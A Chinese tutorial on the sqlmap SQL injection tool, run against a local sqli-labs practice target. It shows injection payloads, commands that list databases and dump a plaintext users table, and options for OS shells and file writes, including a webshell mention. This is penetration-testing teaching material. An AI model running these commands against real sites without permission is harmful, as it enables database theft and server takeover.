SQL注入-sqlmap使用

sqlmap简介

一款自动化的SQL注入工具，其主要功能是扫描，发现并利用给定的URL的SQL注入漏洞，目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

Sqlmap安装

  1. 官网地址：https://sqlmap.org/
  2. github地址：https://github.com/sqlmapproject/sqlmap
  3. 下载解压后，在当前路径下打开cmd界面
  4. 输入python sqlmap.py -h
    1. 如果有显示帮助参数信息，表示可以直接使用。
E:\permeate\tools\sqlmap-1.8.6\sqlmap-1.8.6>python sqlmap.py -h
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.8.6.3#dev}
|_ -| . [']     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

Usage: sqlmap.py [options]

Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)
......

参数介绍

参数说明
-u目标URL
-d连接数据库
–dbs列出所有的数据库
–current-db列出当前的数据库
–tables列出当前的表
–columns列出当前的列
-D选择使用哪个数据库
-T选择使用哪个表
-C选择使用哪个列
–dump获取字段中的数据
–dump-all拖库
–batch自动选择Yes
–smart快速判断（扫得快）
–forms尝试post注入
-r加载文件中的HTTP请求（本地保存的请求包txt文件）
-l加载文件中的HTTP请求（本地保存的请求包日志文件）
-g自动获取Google搜索的前一百个结果，对GET参数的URL测试
-o开启所有默认性优化
–tamper调佣脚本进行注入
-v显示提示信息 [0-6]级 ，默认为1
–delay设置多久访问一次
–os-shell获取主机shell
-m批量操作
-c制定配置文件
-datadata指定的数据会当做post数据提交
-timeout设置超时时间
–technique盲注选择（当你知道注入的类型是盲注，可以选择）
B：布尔型
E:报错型
U：联合型
S：（二次注入）读取系统文件等等
T:时间延迟注入
–is-dba判断是否是root权限
–users所有数据库用户
–current-user当前数据库用户
–proxy http://localhost:8080添加代理
–threads 10并发数
–sql-shell交互式sql的shell
-level[1-5]级，级别越高越详细
–os-shell交互式的操作系统的shell
–file-read读取文件
–file-write写入文件
–file-dest写入到网站的绝对路径

示例

Less-1

  1. 查询基本信息和注入点
# 命令：python sqlmap.py -u "http://10.196.93.67/sqli-labs/Less-1/?id=1"
# 得到结果:
# 系统参数
# web server operating system: Windows
# web application technology: Apache 2.4.23, PHP 5.4.45
# back-end DBMS: MySQL >= 5.0
# 


E:\permeate\tools\sqlmap-1.8.6\sqlmap-1.8.6>python sqlmap.py -u "http://10.196.93.67/sqli-labs/Less-1/?id=1"
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.8.6.3#dev}
|_ -| . [,]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:19:09 /2024-06-19/

[16:19:10] [INFO] resuming back-end DBMS 'mysql'
[16:19:10] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 3438=3438 AND 'OtUZ'='OtUZ

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1' AND (SELECT 9482 FROM(SELECT COUNT(*),CONCAT(0x71716a6271,(SELECT (ELT(9482=9482,1))),0x716a7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'pMvu'='pMvu

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 1079 FROM (SELECT(SLEEP(5)))favz) AND 'rGAe'='rGAe
---
[16:19:12] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.23, PHP 5.4.45
back-end DBMS: MySQL >= 5.0
[16:19:12] [INFO] fetched data logged to text files under 'C:\Users\Administrator\AppData\Local\sqlmap\output\10.196.93.67'

[*] ending @ 16:19:12 /2024-06-19/
  1. 查询服务器所有数据库
python sqlmap.py -u "http://10.196.93.67/sqli-labs/Less-1/? id=1" --dbs

# 结果
E:\permeate\tools\sqlmap-1.8.6\sqlmap-1.8.6>python sqlmap.py -u "http://10.196.93.67/sqli-labs/Less-1/? id=1" --dbs



available databases [8]:
[*] challenges
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] pikachu
[*] security
[*] test
  1. 查询security数据库中的所有表
python sqlmap.py -u "http://10.196.93.67/sqli-labs/Less-1/? id=1" -D "security" --tables
# 结果：

E:\permeate\tools\sqlmap-1.8.6\sqlmap-1.8.6>python sqlmap.py -u "http://10.196.93.67/sqli-labs/Less-1/? id=1" -D "security" --tables

[4 tables]
+----------+
| emails   |
| referers |
| uagents  |
| users    |
+----------+
  1. 查询users表中的数据
python sqlmap.py -u "http://10.196.93.67/sqli-labs/Less-1/? id=1" -D "security" -T  "users" --dump

# 结果
E:\permeate\tools\sqlmap-1.8.6\sqlmap-1.8.6>python sqlmap.py -u "http://10.196.93.67/sqli-labs/Less-1/? id=1" -D "security" -T  "users" --dump

[16 entries]
+----+------------+----------------------+
| id | password   | username             |
+----+------------+----------------------+
| 1  | Dumb       | Dumb                 |
| 2  | I-kill-you | Angelina             |
| 3  | p@ssword   | Dummy                |
| 4  | crappy     | secure               |
| 5  | stupidity  | stupid               |
| 6  | genious    | superman             |
| 7  | mob!le     | batman               |
| 8  | admin      | admin                |
| 9  | admin1     | admin1               |
| 10 | admin2     | admin2               |
| 11 | admin3     | admin3               |
| 12 | dumbo      | dhakkan              |
| 14 | admin4     | admin4               |
| 22 | e          | a                    |
| 33 | v          | v                    |
| 34 | 123456     | v'union select 1,use |
+----+------------+----------------------+

Less-2

  1. 默认选择Yes
python sqlmap.py -u "http://10.196.93.67/sqli-labs/Less-2/?id=1" --batch
  1. 快速扫描
# python sqlmap.py -u "http://10.196.93.67/sqli-labs/Less-1/?id=1" --batch --smart
        ___

E:\permeate\tools\sqlmap-1.8.6\sqlmap-1.8.6>python sqlmap.py -u "http://10.196.93.67/sqli-labs/Less-1/?id=1" --batch --smart
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.8.6.3#dev}
|_ -| . [(]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 08:19:50 /2024-06-20/

[08:19:50] [INFO] resuming back-end DBMS 'mysql'
[08:19:50] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 3438=3438 AND 'OtUZ'='OtUZ

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1' AND (SELECT 9482 FROM(SELECT COUNT(*),CONCAT(0x71716a6271,(SELECT (ELT(9482=9482,1))),0x716a7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'pMvu'='pMvu

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 1079 FROM (SELECT(SLEEP(5)))favz) AND 'rGAe'='rGAe
---
[08:19:52] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.4.45, Apache 2.4.23
back-end DBMS: MySQL >= 5.0
[08:19:52] [INFO] fetched data logged to text files under 'C:\Users\Administrator\AppData\Local\sqlmap\output\10.196.93.67'

Less-11

  1. 尝试POST注入
# python sqlmap.py -u "http://10.196.93.67/sqli-labs/Less-11" --forms
E:\permeate\tools\sqlmap-1.8.6\sqlmap-1.8.6>python sqlmap.py -u "http://10.196.93.67/sqli-labs/Less-11" --forms
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.8.6.3#dev}
|_ -| . [']     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 08:24:09 /2024-06-20/

[08:24:09] [INFO] testing connection to the target URL
got a 301 redirect to 'http://10.196.93.67/sqli-labs/Less-11/'. Do you want to follow? [Y/n] y
[08:24:13] [INFO] searching for forms
[1/1] Form:
POST http://10.196.93.67/sqli-labs/Less-11
POST data: uname=&passwd=&submit=Submit
do you want to test this form? [Y/n/q]
> y
Edit POST data [default: uname=&passwd=&submit=Submit] (Warning: blank fields detected): uname=33&passwd=333&submit=Submit
......
  1. 通过请求包的方式注入
    1. 使用抓包工具找到需要注入的请求，再需要注入的参数后面添加*号，并保存到本地的txt文件中。
POST /sqli-labs/Less-11/ HTTP/1.1
Host: 10.196.93.67
Content-Length: 32
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.196.93.67
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.196.93.67/sqli-labs/Less-11/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9a1nmutffn2ucra7rlo7b0vaq1
Connection: keep-alive

uname=aa*&passwd=aa*&submit=Submit
  1. 执行语句
# python sqlmap.py -r ./texts/less11.txt


E:\permeate\tools\sqlmap-1.8.6\sqlmap-1.8.6>python sqlmap.py -r ./texts/less11.txt
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.8.6.3#dev}
|_ -| . ["]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 08:32:35 /2024-06-20/

[08:32:35] [INFO] parsing HTTP request from './texts/less11.txt'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] y
......
  1. 指定data数据
python sqlmap.py -u "http://10.196.93.67/sqli-labs/Less-11" --data=“uname=1*&passwd=1*”

Less-8

  1. 布尔盲注
python sqlmap.py -u "http://10.196.93.67/sqli-labs/Less-8" --technique B

Less-9

  1. 时间盲注
python sqlmap.py -u "http://10.196.93.67/sqli-labs/Less-9" --technique T

写入文件到网站目录中

  1. 一句话木马

image.png

sqlmapApi

一、连接

  1. 参数

image.png

  1. 运行
# 通过cmd窗口执行sqlmapap.py文件
E:\permeate\tools\sqlmap-1.8.6\sqlmap-1.8.6>python sqlmapapi.py
Usage: sqlmapapi.py [options]

Options:
  -h, --help            show this help message and exit
  -s, --server          Run as a REST-JSON API server
  -c, --client          Run as a REST-JSON API client
  -H HOST, --host=HOST  Host of the REST-JSON API server (default "127.0.0.1")
  -p PORT, --port=PORT  Port of the REST-JSON API server (default 8775)
  --adapter=ADAPTER     Server (bottle) adapter to use (default "wsgiref")
  --database=DATABASE   Set IPC database filepath (optional)
  --username=USERNAME   Basic authentication username (optional)
  --password=PASSWORD   Basic authentication password (optional)

E:\permeate\tools\sqlmap-1.8.6\sqlmap-1.8.6>
  1. 开启服务
    1. 方式一（ 默认）
# python  sqlmapapi.py -s
E:\permeate\tools\sqlmap-1.8.6\sqlmap-1.8.6>python sqlmapapi.py -s
[09:31:57] [INFO] Running REST-JSON API server at '127.0.0.1:8775'..
[09:31:57] [INFO] Admin (secret) token: cac6ad6380a7cb62254ceecfd2656ee8
[09:31:57] [DEBUG] IPC database: 'C:\Users\ADMINI~1\AppData\Local\Temp\sqlmapipc-_tai1v4v'
[09:31:57] [DEBUG] REST-JSON API server connected to IPC database
[09:31:57] [DEBUG] Using adapter 'wsgiref' to run bottle
  1. 方式二：指定ip和端口
# python sqlmapapi.py -s -H "10.196.93.66" -p 10005
  
E:\permeate\tools\sqlmap-1.8.6\sqlmap-1.8.6>python sqlmapapi.py -s -H "10.196.93.66" -p 10005
[09:35:11] [INFO] Running REST-JSON API server at '10.196.93.66:10005'..
[09:35:11] [INFO] Admin (secret) token: f4aaa71f7e1e90a807cdb69d4efa4ffd
[09:35:11] [DEBUG] IPC database: 'C:\Users\ADMINI~1\AppData\Local\Temp\sqlmapipc-594mghoc'
[09:35:11] [DEBUG] REST-JSON API server connected to IPC database
[09:35:11] [DEBUG] Using adapter 'wsgiref' to run bott
  1. 客户端连接
# python E:\permeate\tools\sqlmap-1.8.6\sqlmap-1.8.6\sqlmapapi.py -c -p 10005 -H "10.196.93.66"


C:\>python E:\permeate\tools\sqlmap-1.8.6\sqlmap-1.8.6\sqlmapapi.py -c -p 10005 -H "10.196.93.66"
[09:41:30] [DEBUG] Example client access from command line:
        $ taskid=$(curl http://10.196.93.66:10005/task/new 2>1 | grep -o -I '[a-f0-9]\{16\}') && echo $taskid
        $ curl -H "Content-Type: application/json" -X POST -d '{"url": "http://testphp.vulnweb.com/artists.php?artist=1"}' http://10.196.93.66:10005/scan/$taskid/start
        $ curl http://10.196.93.66:10005/scan/$taskid/data
        $ curl http://10.196.93.66:10005/scan/$taskid/log
[09:41:30] [INFO] Starting REST-JSON API client to 'http://10.196.93.66:10005'...
[09:41:30] [DEBUG] Calling 'http://10.196.93.66:10005'
[09:41:30] [INFO] Type 'help' or '?' for list of available commands
api>

二、基本操作

  1. 帮助信息
# help
api> help
help           Show this help message
new ARGS       Start a new scan task with provided arguments (e.g. '[37mnew -u "http://testphp.vulnweb.com/artists.php?artist=1"[0m')
use TASKID     Switch current context to different task (e.g. '[37muse c04d8c5c7582efb4[0m')
data           Retrieve and show data for current task
log            Retrieve and show log for current task
status         Retrieve and show status for current task
option OPTION  Retrieve and show option for current task
options        Retrieve and show all options for current task
stop           Stop current task
kill           Kill current task
list           Display all tasks
version        Fetch server version
flush          Flush tasks (delete all tasks)
exit           Exit this client
api>
  1. 新建扫描对象
# Less-1
# 命令：new -u "http://10.196.93.67/sqli-labs/Less-1/? id=1"
# 扫描任务的编号 ：0fa3537a1438b002
# 可以对多个任务进行扫描，通过ID号区分
api> new -u "http://10.196.93.67/sqli-labs/Less-1/? id=1"
[09:48:05] [DEBUG] Calling 'http://10.196.93.66:10005/task/new'
[09:48:05] [INFO] New task ID is '0fa3537a1438b002'
[09:48:05] [DEBUG] Calling 'http://10.196.93.66:10005/scan/0fa3537a1438b002/start'
[09:48:05] [INFO] Scanning started
api ([31m0fa3537a1438b002[0m)>
  1. 查看扫描任务列表
# 命令：list
# 当前任务数：2
# 标志为terminated表示扫描完成
# 标志为running表示正在扫描

api ([96mfc4886ebf0b41d37[0m)> list
[09:51:03] [DEBUG] Calling 'http://10.196.93.66:10005/admin/list'
{
    "success": true,
    "tasks": {
        "0fa3537a1438b002": "terminated",
        "fc4886ebf0b41d37": "running"
    },
    "tasks_num": 2
}
  1. 切换任务
# 命令： use + id

api ([35mca38f40e2b20260f[0m)> list
[09:57:02] [DEBUG] Calling 'http://10.196.93.66:10005/admin/list'
{
    "success": true,
    "tasks": {
        "0fa3537a1438b002": "terminated",
        "fc4886ebf0b41d37": "terminated",
        "ca38f40e2b20260f": "running"
    },
    "tasks_num": 3
}
api ([35mca38f40e2b20260f[0m)> use 0fa3537a1438b002
[09:57:13] [INFO] Switching to task ID '0fa3537a1438b002'
api ([31m0fa3537a1438b002[0m)>
  1. 判断是否存在注入
# 命令：data
# 如果在返回数据中的第二个data中有数据的话，表示存在注入

不存在注入
存在注入

  1. 查询MySQL存在数据库
 new -u "http://10.196.93.67/sqli-labs/Less-1/? id=1" --dbs

image.png
注意：查看返回结果也可以将data中url复制到JSON可视化工具中，方便查看。
image.png

扩展

SQL注入自动化其他工具

Pangolin(穿山甲)

pangolin是一款帮助渗透测试人员进行sql注入（sql injeciton)测试的安全工具。pangolin与jsky(web应用安全漏洞扫描器，v web应用安全评估工具）都是nosec公司的产品。pangolin具备友好的图形界面以及支持测试几乎所有数据库（access,mssql,mysql,oracle.informix,db2,sybase.postgresql.sqlite).pangolin能够通过一系列非常简单的操作，达到最大化的攻击测试效果。它从检测注入开始到最后控制目标系统都给出了测试步骤。pangolin是目前国内使用率最高的sql注入测试的安全软件。

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一、引言 随着大数据和人工智能技术的快速发展，数据成为了推动科技进步的重要资源。然而，在实际应用中，数据往往呈现出碎片化、分散化的特点，如何有效地利用这些数据成为了业界关注的焦点。联盟学习（Federated Learni…
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【算法面试】二分查找：如何在有序数组中高效搜索目标值

【算法面试】二分查找：如何在有序数组中高效搜索目标值

目录 题目描述 示例 1: 示例 2: 问题分析 解决方法 方法 1：标准二分查找 方法 2：递归二分查找 方法 3：非递归简化版本 方法 4：带调试信息的版本 详细步骤 总结 博主v：XiaoMing_Java 二分查找是一种常见的算…
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C语言常用标准头文件

C语言常用标准头文件

头文件的基础概念 在C的系列语言程序中，头文件（通常扩展名为.h）被大量使用，它通常包含函数、变量、结构体等的声明和定义，以及一些宏定义和类型定义。头文件的主要作用是为了方便管理和重用代码，它可以被多…
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【电源专题】案例：电量计遇到JEITA充电芯片，在高温下无法报百怎么办？

【电源专题】案例：电量计遇到JEITA充电芯片，在高温下无法报百怎么办？

在使用电量计芯片时，我们期望的是在产品工作温度下、在产品最低和正常充电电流下都要能报百。 所谓报百，就是电量计RSOC（电量百分比）能到达100%。这看起来简单，如果是常规的操作的话，那么电压达到充电截止要求、电流达到充电截止要求、容量累积变化满足要求，RSOC=100%肯…
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[分布式网络通讯框架]----ZooKeeper下载以及Linux环境下安装与单机模式部署（附带每一步截图）

[分布式网络通讯框架]----ZooKeeper下载以及Linux环境下安装与单机模式部署（附带每一步截图）

首先进入apache官网 点击中间的see all Projects->Project List菜单项进入页面 找到zookeeper，进入 在Zookeeper主页的顶部点击菜单Project->Releases，进入Zookeeper发布版本信息页面，如下图： 找到需要下载的版本 …
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外部网络如何访问内网？

外部网络如何访问内网？

在现代信息化时代，随着企业规模的扩大和业务范围的扩展，越来越多的企业需要实现外部网络访问内网的需求。外部网络访问内网指的是在外部网络环境下，通过互联网等公共网络途径，实现对企业内部网络的访问和操作。这种需求的出现&…
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iptables动作总结

iptables动作总结

ACCEPT动作 将数据包放行，进行完此处理动作后，将不再比对当前链的其它规则，直接跳往下一个规则链。 范例如下： #新增自定义链TEST_ACCEPTiptables -t filter -N TEST_ACCEPT#新增自定义链TEST_ACCEPT2iptables -t filter -N TES…
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仿迪恩城市门户分类信息网discuz模板

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Discuz x3.3模板 仿迪恩城市门户分类信息网 (GBK) Discuz模板 仿迪恩城市门户分类信息网(GBK)
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Spring 内部类获取不到@Value配置值问题排查（附Spring代理方式）

Spring 内部类获取不到@Value配置值问题排查（附Spring代理方式）

目录 一、实例问题 1、现象 2、原因 3、解决 二、Spring的代理模式 1、静态代理（Static Proxy） 1）原理 2）优缺点 3）代码实现 2、JDK动态代理（JDK Dynamic Proxy） 1）原理 …
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用于射频功率应用的氮化铝电阻元件

用于射频功率应用的氮化铝电阻元件

EAK推出了新的厚膜氮化铝 （AlN） 电阻器和端接系列，以补充公司现有的产品。传统上，射频功率电阻元件采用氧化铍（BeO）陶瓷材料作为陶瓷基板;然而，由于国际上要求从产品中去除BeO的压力&#xff0c…
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第T2周：彩色图片分类

第T2周：彩色图片分类

🍨 本文为🔗365天深度学习训练营 中的学习记录博客🍖 原作者：K同学啊 👉 要求： 学习如何编写一个完整的深度学习程序了解分类彩色图片会灰度图片有什么区别测试集accuracy到达72% 🦾我的环境&am…
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【ajax核心05】宏任务与微任务

【ajax核心05】宏任务与微任务

ES6之后引入Promise对象(用来管理异步任务)，让JS引擎也可以发起异步任务 一：异步任务分类 异步任务分为：宏任务与微任务 宏任务 由浏览器环境执行的异步代码 具体宏任务分类 微任务 由JS引擎执行的代码 创建Promise对象时，…
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数据清洗！即插即用！异常值、缺失值、离群值处理、残差分析和孤立森林异常检测，确保数据清洗的全面性和准确性，MATLAB程序！

数据清洗！即插即用！异常值、缺失值、离群值处理、残差分析和孤立森林异常检测，确保数据清洗的全面性和准确性，MATLAB程序！

适用平台：Matlab2021版及以上 数据清洗是数据处理和分析中的一个关键步骤，特别是对于像风电场这样的大型、复杂数据集。清洗数据的目的是为了确保数据的准确性、一致性和完整性，从而提高数据分析的质量和可信度，是深度学习训练和…
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STM32单片机系统

STM32单片机系统

1.STM32最小系统 微型计算机（面） 单片机最小系统是指能够将单片机芯片运行所必需的最少的硬件电路集成在一起的系统。 它是一种基本的单片机应用系统，通常由主芯片，时钟电路，复位电路，电源电路&#xff0c…
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407串口01发送

407串口01发送

实验一： 工程。 链接：https://pan.baidu.com/s/1g8DV4yZWOix0BbcZ08LYDQ?pwd2176 提取码：2176串口1的使用。发送功能。 单片机发送信息到电脑。 通过串口进行通信。 首先单片机这边。 单片机这边，需要对单片机的串口模块进行使…
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小车启动底盘功能包

小车启动底盘功能包

传感器与小车底盘的集成 新建功能包 catkin_create_pkg mycar_start roscpp rospy std_msgs ros_arduino_python usb_cam ydlidar_ros_driver功能包下创建launch文件夹&#xff0c;launch文件夹中新建launch文件&#xff0c;文件名start.launch。 内容如下 <!-- 机器人启动…
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雷达标定与解析

雷达标定与解析

融合雷达与解析雷达数据的相关代码。感谢开源社区的贡献。以下代码继承了很多人的工作。 如果是单雷达&#xff1a; 直接进行标定&#xff0c;所以就是接收相关的话题然后发布。 lidar_calibration_params.yaml&#xff1a; calibration:在这个接口里面x_offset: 0.0y_offset:…
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